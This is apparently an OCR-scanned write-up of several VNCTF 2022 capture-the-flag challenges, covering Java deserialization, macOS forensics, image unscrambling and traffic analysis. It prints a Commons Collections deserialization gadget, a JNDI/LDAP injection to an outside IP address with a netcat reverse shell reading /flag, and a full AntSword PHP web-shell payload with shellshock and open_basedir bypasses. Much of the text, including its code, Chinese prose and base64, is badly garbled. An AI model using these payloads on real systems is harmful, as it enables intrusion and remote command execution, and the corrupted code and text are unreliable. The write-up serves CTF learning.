29tbW9ucy5jb2xsZWNeaW9ucySUcmFuc2Zvem11lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcemcuYXBhY2h1LmNvb
W1vbnMuY29sbGVjdGlvbnMuzZnVuY3RvenMuQ29uc3RhbnRUcmFuc2Zvem1lc1lh2kBFBArGUAgABTAAJaUNvbnNeOY
W50cQB+AAN4cHZYyABFqYXZhLmxhbmcuUnVudG1tZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFWYWNoZS5jb21tb25zL
mNvbGx1Y3Rpb25zLmZ1bmN@Bb3JzLkludm9rZXJUcmFuc2Zvcemllcofo/2t7fM44AgADWWAFaUFyZ3NOABNbTGphd
mEVbGFuZy9PYmplY3Q7TAALaU11dGhvZEShbWVBABJMamF2YS9sYW5nL1NOcmluZztbAAtpUGFYYW1UeXB1lc3QAE
1tMamF2YS9sYW5nLBNsYXNzO3hwdXTIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbATAAHhwAAAAANQACMd1d
FJ1bnRpbWV1cgASWOxqYXZhLmxhbmcuQ2xhc3M7gxbXrsvNWpkCAAB4cAAAAABOAAINZXRNZXRob2R1cQB+ABsAA
AACAnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEATfgAbc3EATgATAXEATgAYAAAAANBTcQB+ABgAA
AAAdAAGaW52b2t1dXEATgAbAAAAANZYABBQqYXZhLmxhbmcuT2JqZWNOAAAAAAAAAAAAAABACHZ xAHAAGHNXAH4AE
3VyABNbTGphdmEubGFuzZy5TdHJpbmc7rdJW5+kde@cCAABACAAAAAFOAARjYWxjAAAEZXh1Y3VXAHAAGWAAAAF xA
H4ATIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWd1chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51b
WJlcoaslROL10CLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmF jdG9yS
QAJdGhyZXNob2xkeHA/QAAAAAAAAHCTIAAAAEAAAAAB4eHg=")) ;

} catch (ParseException exception) {
exception.printStackTrace();




result.sendSearchEntry(e);
result.setResult(new LDAPResult(®, ResultCode.SUCCESS));

LDAPbypass

Listening on 0.0.0.0:1234

BN BIRAE A% N\ payload

Ff jndi:ldap:/#1.15.134.123:1234 /eabmg o}

LLERS I A3 BRI




LDAPbypass

Listening on 0.0.0.0:1234
Send LDAP reference result for eabmgo redirecting to
Send LDAP reference result for eabmgo redirecting to

Send LDAP reference result for eabmgo redirecting to

[root@VM-4-10-centos jndi]# nc -1 -p 11451 -vv
Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::11451

Ncat: Listening on 0.0.0.0:11451

Ncat: Connection from 101.34.177.35.

Ncat: Connection from 101.34.177.35:56898.

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@25eb2c004862: /home/ctf/web# cat /flag

cat /flag
vnctf{73901b07-c00b-44c9-bd9a-72bc78d15cc2}root@25eb2c004862: /home/ctf/web#

* prize wheel
BAE—TMRNNER, RBMERINEIEREBBEOMEZ0.5%, IMERDRAE, RERN, BEMNE
REEFILAMEIN, ERINBEBIRRIZFEES

[+]:1
fow, you really

sword 1s z ; o bcly Tddbdd6e

fREE4aE


https://imgtu.com/i/HQAw4I

BENERZRR—BENGRIEESE, ATHTER, TRET TSR


https://imgtu.com/i/HQAsv8

RRNBAFENEEDT—THMANRIEEFZNAER, FEAS—BEHRAFEITAR, MUREEILMENE
RAUFE-S, SEE—1T, MAINERER MBRAREGERRLER

from PIL import Image

img = Image.open('flag.png')
width, height=img.size

c_x = width // 2

c_y = height // 2

for count in range(3,width+1,2):

print(count)
= count // 2
for i in range((count-1)%*4):
p_x = c_x - d
p.y = c.y -d
tmp@® = img.getpixel((width//2,c_y-count//2))



https://imgtu.com/i/HQALVJ

if(tmpo[@] == and tmpO[1] == and tmpo[2] ==
break

tmp = img.getpixel((p_x,p_y))

for j in range(count-1):
img.putpixel((p_x,p_y), (img.getpixel((p_x+1,p_y))))
p_x +=
j in range(count-1):
img.putpixel((p_x,p_y), (img.getpixel((p_x,p_y+1))))
p_y *+=
j in range(count-1):
img.putpixel((p_x,p_y), (img.getpixel((p_x-1,p_y))))
p_x -=
j in range(count-2):
img.putpixel((p_x,p_y), (img.getpixel((p_x,p_y-1))))
p-y -=

img.putpixel((p_x,p_y), tmp)

img.save("trueflag.png")




* simple macos

macos BilE
MR{43R7~, profile picture

Users/script/Librarys/Mail/V9/AC26459E-8824-4F93-8FF1-DC6AB35E8BOD/[Gmail] .mbox/EMIBRHE
4 .mbox/EF4FC717-2856-44B2-B23B-303D44FDC243 /Data/Messages/603.emlx



222272272 <?22227222222222222227>
about flag
WA "scriptgogogo@gmail.com" <scriptgogogo@gmail.com>

i hide the secret flag in the profile picture
please clean your computer after reading , be careful !!!!

M Windows kg Hil44: & 1%

- jpgfRE

#% 2l /System/Volumes/Preboot/79FABCCE-3636-4266-A6CF-
8E3BB40332B4/var/db/CryptoUserInfo.plist

AOULIr—0LCODD4YSo4Lb4/vdL/Up

[scripte79FABCCE-3636-4266-A6CF-8E3BB40332B4/var/db» 1s [13:46:37] |
AdminUserRecoveryInfo.plist ProgressMarkers

AllUsersInfo.plist secureaccesstoken.plist

CryptoUserInfo.plist

[scripte79FABCCE-3636-4266—-A6CF-8E3BB40332B4/var/db» pwd [13:46:38] |

/Volumes/Scrlpt's Passport/System/Volumes/Preboot/79FABCCE-3636-4266-A6CF-8E3BB4
0332B4/var/db

.fcrlpt079FABCCE—3636—4266—A6CF—8E3884033284/var/db» I [13:46:40]




Q@ @ CryptoUserinfo.plist (y  {&A Visual Studio Code ¥TFF

<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>79FABCCE-3636-4266-A6CF-8E3BB40332B4</key>
<dict>

<key>FullName</key>

<string>Scrlpt</string>

<key>PasswordHint</key>

<string>our secret need a password</string>

<key>PictureData</key>

<data>

/93 /4AAQSkZIRgABAQAAKACQAAD/
4QBORXhpZgAATUOAKgAAAAGABAEaAAUAAAABAAAAPGEDAAUAAAABAAAARGEOAAMAAAABAATAATApAAQAAAABAAAATGAAAAAAAACQAAAAAQAAATJAAAAABA
AKgAgAEAAAAAQAAAUCGAWAEAAAAAQAAAUAAAAAA/
+@A0FBob3Rvc2hvcCAzL jAAOEJITQQEAAAAAAAAOE]ITQQTAAAAAAAQ1B2M2Y8ASsgTpgAmY7PhCfv/iEAhJQON fUFJPRKIMRQABAQAAD/
hhcHBsAhAAAG1udHISROIgWFlaIAf LTAAWABQAXABSAB2F j c3BBUFBMAAAAAEFQUEWAAAAAAAAAAAAAAAAAAAAAAAD21gABAAAAANMEYXBwbAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMR Lc2MAAAF cAAAAYMRZY20AAAHAAAAENGNwCNQAAAZ cAAAAT3d0 cHQAAARAAAAA
FHIYWVoAAAaUAAAAFGAYWVoAAAaoAAAAFG] YWVoAAAa8AAAAFHIUUKMAAADQAAAIDGFhcmcAAA7 cAAAATHZj Z3QAAA78AAAAMGS5 kaW4AAA8SAAAAPMNOY
WQAAA9SAAAALG1tb2QAAA+YAAAAKHZj Z3AAAA/
AAAAAOGIUUKMAAAbQAAAIDGAUUKMAAADQAAAIDGFhYmcAAA7 cAAAAIGFhZ2cAAA7 cAAAAIGR1c2MAAAAAAAAACERpCc3BsYXKAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTDHYj AAAAAAAAACYAAAAMaHI TUgAAA
BQAAAHYa29LUgAAAAwWAAAHSsbmJOTWAAABIAAAH4aWQAAAAAABIAAAIKaHVIVQAAABQAAAT cY3NDWgAAABYAAAIWZGFESWAAABWAAAIGbmxOTAAAABYAAA
JiZm1GSQAAABAAAAJ4aXRIVAAAABgAAAKIZXNFUWAAABYAAAKgcmISTWAAABIAAAK2ZnIDQQAAABYAAALIYXIAAAAAABQAAALedWtVQQAAABWAAALyaGV
JTAAAABYAAAMOemhUVwAAAA0AAAMkdm IWTgAAAA4AAAMu c2 t TSWAAABYAAAMBemhDTgAAAA0AAAMkcnVSVQAAACQAAANSZWSHQQAAABQAAAN2ZNn JGUgAA
ABYAAAOKbXMAAAAAABIAAAOgaGlITgAAABIAAAOYdGhUSAAAAAWAAAPEY2FFUWAAABGAAAPQZW5BVQAAABQAAAN2ZXNY TAAAABIAAAK2ZGVERQAAABAAA
APoZW5VUwWAAABIAAAP4cHRCUgAAABgAAAQK cGXQTAAAABIAAAQiZWxHUgAAACIAAAQOc3ZTRQAAABAAAARWAHIUUgAAABQAAARMCHRQVAAAABYAAARGam
FKUAAAAAWAAASQAEWAQWBEACAAdQAGAGIAbwBQAGNO7L fSACAATABDAEQARgBhAHIAZwB1ACOATABDAEQATABDAEQAIABXAGEACgBUAGEAUWB6A00OAbgGB
1AHMATARMAFMARARCAGFAcaRTAHYAhaDQACAATARDAFNATARDAFNAI ORmAGFAcaR?AGIAcwRrAOYAcaRtAFSAhARTAHIIAcaRTAG4AI ORMAFMARARWANNA

AR R oursecret with password

base643:5E 5

From Base64
Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

Render Image

Input format
Raw

/93 /4AAQSkZIRgABAQAAKACQAAD/4QBORXhpZgAATUOAKgAAAAGABAEaAAUAAAABAAAAPGEDAAUAAAABAAAARGEOAAMAAAABAATAATLdp
AAQAAAABAAAATGAAAAAAAACQAAAAAQAAATAAAAABAAKGAGAEAAAAAQAAAUCGAWAEAAAAAQAAAUAAAAAA/+OAOFBob3Rv c2hvcCAZLJAA
OEJJTQQEAAAAAAAAOEJJITQQLAAAAAAAQLB2M2Y8ASgTpgAmY7PhCfv/iEAhJQONTUFIPRKIMRQABAQAAD/hhcHBSAhAAAG1udHISROIg
WFlaIAf1AAWABQAXABBAB2F j c3BBUFBMAAAAAEFQUEWAAAAAAAAAAAAAAAAAAAAAAAD21gABAAAAANMtYXBWbAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMR Lc2MAAAF cCAAAAYMRZY20AAAHAAAAENGNwCNQAAAZCAAAAT3d@cHQAAARA
AAAAFHIYWVoAAAaUAAAAFGAYWV0oAAAaoAAAAFGIYWVoAAAa8AAAAFHIUUKMAAADQAAAIDGFhcmcAAA7 cAAAATHZ j Z3QAAA78AAAAMGS k
aW4AAA8sAAAAPMNOYWQAAA9SAAAALG1tb2QAAA+YAAAAKHZ j Z3AAAA/AAAAAOGIUUKMAAADQAAAIDGAUUKMAAADQAAAIDGFhYmcAAAT7 c
AAAAIGFhZ2cAAA7 cAAAAIGR1c2MAAAAAAAAACERpPC3BSYXKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEDHY jAAAAAAAAACYAAAAMaHI TUgAAABQAAAHYa29L UgAAAAWAAAHS
bmJOTwAAABIAAAH4aWQAAAAAABIAAAIKaHVIVQAAABQAAAI cY3NDWgAAABYAAAIWZGFESWAAABWAAAIGbmxOTAAAABYAAATiZm1GSQAA
ABAAAAJ4aXRIVAAAABGAAAKIZXNFUWAAABYAAAKGcmOSTWAAABIAAAK2ZnJIDQQAAABYAAALIYXIAAAAAABQAAALedWtVQQAAABWAAALY
aGVITAAAABYAAAMOemhUVWAAAAOAAAMKdm IWTgAAAA4AAAMuUc2t TSWAAABYAAAM8emhDTgAAAA0AAAMK cnVSVQAAACQAAANSZWSHQQAA
ABQAAAN2ZnJGUgAAABYAAAOKbXMAAAAAABIAAAOGaGLITgAAABIAAAOYdGhUSAAAAAWAAAPEY 2F FUWAAABGAAAPQZWSBVQAAABQAAAN2
ZXNYTAAAABIAAAK2ZGVERQAAABAAAAPOZW5VUWAAABIAAAP4CHRCUgAAABGAAAQK cGXQTAAAABIAAAQiZWXHUGAAACTAAAQOC3ZTRQAA
ABAAAARWAHJIUUgAAABQAAARMCHRQVAAAABYAAARG6amFKUAAAAAWAAASQAEWAQWBEACAAdQAGAGIAbwBqAGNO7L fSACAATABDAEQARgBh
AHIAZWB1AC@ATABDAEQATABDAEQAIABXAGEACGBUAGEAUWBGA0@AbgBTAHMATABMAEMARABCAGEACGB LAHYAbgDIACAATABDAEQATABD
AEQALQBMAGEACgB2AGUACWBrAOYAcgBtAESAbABTAHUACgB1AG4ALQBMAEMARABWAOQACgBPACOATABDAEQATABDAEQATIABhACAAYWBY
AGwAbwBYAGKATABDAEQAIABhACAAYWBVAGWAbwBYAEWAQWBEACAAYWBVAGWAbwBYAEEAQWBMACAAYWBVAHUADAB 1AHUACiAPAEWAQWBE
ACAGRQZEBkgGRgYpBBoEPgQ7BEWEPGRABD4EMgQ4BDKATABMAEMARCAPAEWAQWBEACAF59XRBeIF1QXgBd 1faYJyAEwWAQWBEAEWAQWBE
ACAATQDgAHUARgGBhAHIAZQBiAG4A/QAgAEWAQWBEBCYEMgQ1BEIEPQQ+BDKATAQWBBOALQQ@OBDGEQQQ/BDSENQQSAEMAbWBSAGBAdQBY
ACAATABDAEQATABDAEQAIABjAG8AdQBSAGUAdQBYAFCAYQBYAG4AYQAGAEWAQWBECTAJAgkXCUAJKAAGAEWAQWBEAEWAQWBEACAOKg41
AEWAQWBEACAAZQBUACAAYwBVAGwWAbwBYAEYAY(QBYAGIALQBMAEMARABDAG8AbABVAHIAIABMAEMARABMAEMARAAGAEMAbwBSAGBACGBP

B0O® RS

time: 14ms

Output &£~ lengths 24076
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HIDE

Make your secrefs invisible in just 3 easy steps |

UNHIDE

Step1: Specify a carrier file

Step 1: Select a carrier file

No carrier file selected

The file hide no data

Step 2: Add/remove file or message

@ Add

Step 2: Enter password

ﬂhmovc |

Type Namé

< |

4

Step 3: Passwor

Enter password

* Strange flag

- Description

- Analyze

FHE T — P ublIshell, BRI T flag, BEXMlaghF IR

HEflaghitreelREN K, BIAMREflag, foldersiB= M— TR A LAFEflag

Read Message

VNCTF{Macos_Fore

—

Save as TXT] [ Close




e Ci0EQD

SRlges

M Wireshark - 1885 TCP % (tcp.stream eq 5) - 1.pcapng — a X

%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22hele3ef88a7997%22%5D%2C2) ) A
%3B%24s%3Dbasebd_decode(substr(%24_POST%5B%22x69445668255e%22%5D%2C2) )

%3B%24envstr%3D%40base6d_decode (substr(%24_POST%5B%22b8032ee397a62c%22%5D%2C2) )%3B%24d%3Ddirname (%24 _SERVER%5B%22SCRIPT_FILENAME%22%5D)
%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22 -

€%20%5C%22%7B%245%7D%5C%22%22%3A%22%2 F c%20%5C%22%7B%245%7D%5C%22%22%3B1if (substr(%24d%2C0%2C1)%3D%3D%22%2F%22 ) %7B%A0putenv (%22PATH%3D%22 . getenv (%22P
ATH%22) .

%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr¥%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2F sbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv (%22PATH%3D%22. getenv
(%22PATH%22) .

%22%3BC%3A%2FWindows%2F system32%3BC%3A%2FiWindows%2F Sy sWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2F Sy stem32%2FWindowsPowerShell%2Fvl . 0%2F%3B%22)%3B%7D
if(!empty(%24envstr))%7B%24envarr#%3Dexplode (%22%7C%7C%7Cas1ine%7C%7C%7C%22%2C%20%24envstr)%3Bforeach (%24envarr%20as%20%24v) %20%7Bif%20( !

empty (%24v) )%20%7B%40puteny (str_replace (%22%7C%7C%7Caskey%7C%7C%TC%22%2C%20%22%3D%22%2C%20%24v) )
%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction¥%20fe (%24 )%7B%24d%3Dexplode (%22%2C%22%2(%A40ini_get(%22disable_functions%22))
%3Bif(empty(%24d))%7B%24d%3Darray ()%3B%7Delse%7B%24d%3Darray_map( ' trim’%2Carray_map(‘strtolower‘%2(%24d) )%3B%7Dreturn(function_exists(%24f)
%26%26is_callable(%24F)%26%26!in_array(%241%2C%24d) )%3B%7D%3Bfunction%2@runshellshock (%24d%2C%20%24c)

%20%7Bif%20 (substr(%24d%2C%200%2(%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe (' putenv ' )%20%26%26%20(fe( 'error_log" )%20%7C%7C%20fe( 'mail*)))

%20%7Bif%20 (strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20 ! %3D%20FALSE ) %20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20"as")

%3Bputenv (%22PHP_LOL%3D( )%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22 ) %3Bif%20(fe( "error_log'))
%20%7Berror_log(%22a%22%2(%201)%3B%7D%20e1se%20%7Bmail (%22a%40127.0.0. 1%22%2(%20%22%22%2(%20%22%22%2(%20%22 -
bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%240utput%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink (%24tmp)%3Bif%20(%24output¥%20!
%3D%20%22%22)%20%7Bprint (%24output)%3Breturn%20True%3B%7D%7Dreturn¥%20False%3B%7D%3Bfunction%2@runcmd (%24c)

%7B%24ret%3D0%3B%24d%3Ddirname (%24_SERVER%S5B%22SCRIPT_FILENAME%22%5D)%3Bif (fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif (fe( passthru’))
%7B%A0passthru(%24c%2C%24ret)%3B%7Delseif (fe( shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif (fe( exec"))%7B%40exec(%24c%2(%240%2C%24ret)
%3Bprint(join(%22%0A%22%2C%240) )%3B%7Delseif (fe( " popen"))%7B%24fp%3D%40popen (%24c%2C " r* )%3Bwhile(!%40feof (%24fp) )%7Bprint (%40fgets (%24Fp%2C2048)) I
%3B%7D%40pclose(%24fp)%3B%7Delseif (fe( proc_open"))%7B%24p%20%3D%20%40proc_open (%24c%2C%20array (1%20%3D%3E%20array ( 'pipe ' %2C%20 w" )
%20%202%20%3D%3E%20array (' pipe ' %2C%20 " ) )%2C%20%2410)%3Buwhile (1 %40feof (%2410%5B1%5D) ) %7Bprint (%40fgets (%2410%5B1%5D%2C2048) )%38%7Dwhile (!
%40Ffeof (%2410%582%5D) )%7Bprint (%40fgets (%2410%5B2%5D%2C 2048 ) ) %3B%7D%A0F close (%2410%5B1%5D ) %38%40F close (%2410%582%5D) %3B%40proc_close(%24p)
%3B%7Delseif (fe( antsystem'))%7B%40@antsystem(%24c)%3B%7Delseif (runshellshock(%24d%2C%20%24c))

%20%7Breturn%20%24ret%3B%7Delseif (substr(%24d%2C0%2C1) | %3D%22%2F%22%20%26%26%20%40class_exists (%22C0M%22) )%7B%24u%3Dnew?’20COM( "WScript.shell")
%3B%24e%3D%24w-%3Eexec(%24c)%3B%2450%3D%24e-%3EStdOut () %3B%24ret.%3D%24s0-%3EReadAl1( ) %3B%24se%3D%24e-%3EStdErr () %3B%24ret. %3D%24se-%3EReadA11()
%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd (%24r . %22%202%3E%261%22 ) %3Bprint%20 (%24ret!
%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch (Exception%20%24e ) %7Becho%20%22ERROR%3A%2F%2F%22 . %24e -%3EgetMessage ( ) %3B%7D%3Basoutput()
%3Bdie()%3B&x69f445668255e=yvY2QgIi92YXIvd3d3L2hOblkwwZmxhZyI7dHI1ZTt1Y2hvIDZkN]Y20DcyYWMw03B3ZDt1Y2hvIDVKZGQAM2U%3DHTTP/1.1 200 OK

Date: Mon, @7 Feb 2022 ©3:37:00 GMT

Server: Apache/2.4.46 (Debian)

Vary: Accept-Encoding

Content-Fncodine: ozin

[ RV RN VR R VR VR Vo R Vol SR Vo

BE 2. ¢ SR HE, | BEE HE, | tura(s). ATER.
[BARIE (6074 bytes) v Show data as w3
oy ==

[en || gm0 | Bere || BE | lese || Hlp |

T T




arr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%78if(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%241item. %22%2F .bbafeeff28e4%
22%3B%48mkdir (%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7BcontinueX%3B%7D%4@chdir (%24tmdir)%3B%40ini_set(%220pen_basedir%22%2C%20%22. .%22)%3B%24cntarr%3D%4@preg_spl
1t (%22%2F%5C%5CH5CH5C%7CRECH2F%2F%22%2C%24tmdir ) %3Bfor (%241%3D0%3B%241%3Csizeof (%24cntarr)%3B8%241%2B%2B ) %7B%40chdir (%22. .%22)%3B%7D%3B%40ini_set(%220pen_basedir#%22
%2C%22%2F%22)%3B%4@rmdir (%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%38%7D%3Bfunction%20asoutput ()%7B%24output®3Dob_get_contents(
)%3Bob_end_clean()%3Becho%20%2296ab84%22.%22accde6%22%3Becho%20%48asenc (%24output)%3Becho%20%2256e%22.%228bdf4%22%3B%7D0ob_start()%3Btry%78%24p%3Dbase64_decode(sub
str(%24_POST#%5B%22hele3ef88a7997%22%5D%2C2) ) %3B%245%3Dbase64_decode(substr(%24_POST%5B%22x69f445668255e%22%5D%2C2) ) %3B%24envstri3D%40base64_decode(substr(%24_POST%
5B%22b8032ee397a62c%22%5D%2C2) )%3B%24d%3Ddirname (%24_SERVER%S5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr (%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-
C%20%5C%22%7B%245%7D%5C%22%22%3A%22%2F %20%5C%22%7B%245%7D%5C%22%22%3B1if (substr(%24d%2C8%2C1)%3D%3D%22%2F %22 ) %7B%4@putenv (%22PATH%3D%22 . getenv (%22PATH%22 ) . %22%3A%2
Fusri%2Flocal%2Fsbin%3A%2Fusr®2Flocal%2Fbin%3A%2Fusr2Fsbin®3A%2Fusri2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40puteny (%22PATH%3D%22 . getenv (%22PATH#%22) . %22%3BC%3A%
2FWindows%2Fsystem32%3BC%3A%2Fliindows%2FSy sWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSy stem32%2FindowsPowerShell%2Fvl. 0%2F%38%22)%3B%7Dif (lempty (%24envstr) )%7B%24
envarr#%3Dexplode (%22%7C%7C%7Casline®7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarri20ask20%24v)%20%78if%20( ! empty (%24v) )%20%7B%48putenv(str_replace(%22%7C%7C%7Cas
key%7Ck7C%7C%22%2C%20%22%3D%22%2C%20%24V ) ) %3B%7D%7D%7D%24r%3D%22%7B%24p#%7D%20%7B%24%7D%22%3Bfunction%20fe (%24 )%7B%24d%3Dexplode (%22%2C%22%2C%40ini_get(%22disable
_functions¥%22))%3Bif (empty(%24d))%7B%24d%3Darray()%3B%7Delse¥%7B%24d%3Darray_map('trim'%2Carray_map(’strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_
callable(%24f)%26%26!in_array(%24f%2C%24d) )%3B%7D%3Bfunction%2@runshellshock(%24d%2C%20%24c)%20%7Bif%20 (substr (%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20
fe('putenv’)%20%26%26%20(fe( error_log')%20%7C%7C%20fe("'mail’)))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20 ! %3D%20FALSE ) %20%7B%24tmp%20%3D%2
otempnam(sys_get_temp_dir()%2C%20"as" )%3Bputenv (%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%208%24C%20%3E%24tmp%202%3E%261%22)%3B1f%20(fe('error_log'))%20%7Berror_log(%22
a%22%2C%201)%3B%7D%20else%20%7Bmail (%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-
bv%22)%3B%7D%7D%20e15e%20%7Breturn%20False%3B%7D%24output%20%3D%20%48file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bifi%20(%240utput¥%20!%3D%20%22%22)%20%7Bprint (%2
4output)%3Breturn%20True%3B%7D%7Dreturn¥%2@False%3B%7D%3Bfunction%20runcmd(%24¢)%7B%24ret%3D0%3B%24d%3Ddirname (%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif (fe('syste
m'))%7B%4@system(%24c%2C%24ret)%3B%7Delseif (fe( passthru’))%7B%40passthru(%24c%2C%24ret )%3B%7Delseif (fe( 'shell_exec'))%7Bprint(%48shell_exec(%24c))%3B%7Delseif (fe(
‘exec'))%7B%40exec (%24c%2C%240%2C%24ret )%3Bprint (join(%22%@A%22%2C%240) ) %3B%7Delseif (fe('popen'))%7B%24fp%3D%40popen(%24ck2C ' r' )%3Buhile (! %40feof (%24fp))%7Bprint (%
4pfgets(%24fp%2C2048) )%3B%7D%40pclose (%24fp)%3B%7Delseif (fe('proc_open'))%7B%24p%208%3D%20%48proc_open (%24c%2C%20array (1%20%3D%3E%20array (' pipe '%2C%20 " w' )%2C%202%20
%3D%3E%2@array ('pipe’%2C%20'w'))%2C%20%2410)%3Bwhile (! %40feof (%2410%5B1%5D) )%7Bprint (%40fgets(%2410%5B1%5D0%2C2048) )%3B%7Dwhile (! %40feof (%2410%5B2%5D) )%7Bprint (%4ef
gets(%2410%5B2%5D%2C2048) ) %3B%7D%408fclose(%2410%5B1%5D ) %3B%40fclose (%2410%5B2%5D ) %3B%40proc_close(%24p)%3B%7Delseif (fe( antsystem’))%7B%40antsystem(%24c)%3B%7Delse
if(runshellshock(%24d%2C%20%24c) )%28%7Breturn’20%24ret%3B%7Delseif (substr(%24d%2C0%2C1) | %3D%22%2F%22%20%26%26%20%48class_exists (%22C0M%22) )%7B%24w%3Dnew%28COM( "WSc
ript.shell’)%3B%24e%3D%24w-%3Eexec (%24¢)%3B%2450%3D%24e-%3EStdOut () %3B%24ret . %3D%2450-%3EReadAll () %3B%24se%3D%24e-%3EStdErr () %3B%24ret . %3D%24se -
%3EReadAll()%3Bprint(%24ret)%3B%7DelseX7B%24ret%20%3D%20127%3B%7Dreturn’20%24ret%38%70%3B%24ret%3D%48runcmd (%24r . %22%202%3E%261%22 ) %3Bprint%20 (%24ret | %3D0)%3F%22re
t%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch (Exception¥%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22 . %24e -
%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&x69445668255e=yvY2QgIi92YXIvd3d3L2h@bWwvZmxhZyI7dHI1ZTt1Y2hvIDZKN]Y20DCyYWMwO3B3ZDt1Y2hvIDVkZGQ4M2U%3D

start: 3185 time: oms
Output end: 3262 lengtn: 325 [ [[] [ -
length: 84 lines: 2

b8@32ee397a62c=EP&hele3ef88a7997=APL2]pbi9zaA==&pass=@ini_set("display_errors”, "@");@set_time_limit(@);$opdir=@ini_get(“open_basedir");if($opdir)
{$ocwd=dirname($_SERVER[ "SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item)
{if(!@is_writable($item)){continue;};$tmdir=$item."/.bbafeeff2804";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir",

") s$entare=@preg_split("/\\\\|\//",$tmdir);for($i=0;%$i<sizeof ($cntarr);;$i++){@chdir("..");};@ini_set("open_basedir”,"/");@rmdir($tmdir);break;};};;:;function
asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "96ab84"."accde6";echo @asenc($output);echo
"S6ee”."8bdf4";}ob_start();try{$p=base64_decode(substr($_POST["hele3ef88a7997"],2));$s=base64_decode(substr($_POST["x69f445668255e"],2));%envstr=@base64_decode(subst
r($_POST["b8032ee397a62c"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,8,1)=="/"2"-c \"{$s}\"":"/c \"{$s}\"";if (substr($d,0,1)=="/")
{@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Window
5/SysWOW64;C: /Windows ;C: /Windows/System32/WindowsPowerShell/v1.8/;");}if (lempty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if
(lempty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}%r="{3p} {$c}";function fe($f){Sd=explode(”,",@ini_get("disable_functions"));if(empty($d))
{$d=array();}else{$d=array_map('trim’,array_map('strtolower’,$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c)

{if (substr($d, @, 1) == "/" & fe('putenv') & (fe('error_log"') || fe('mail’))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp =
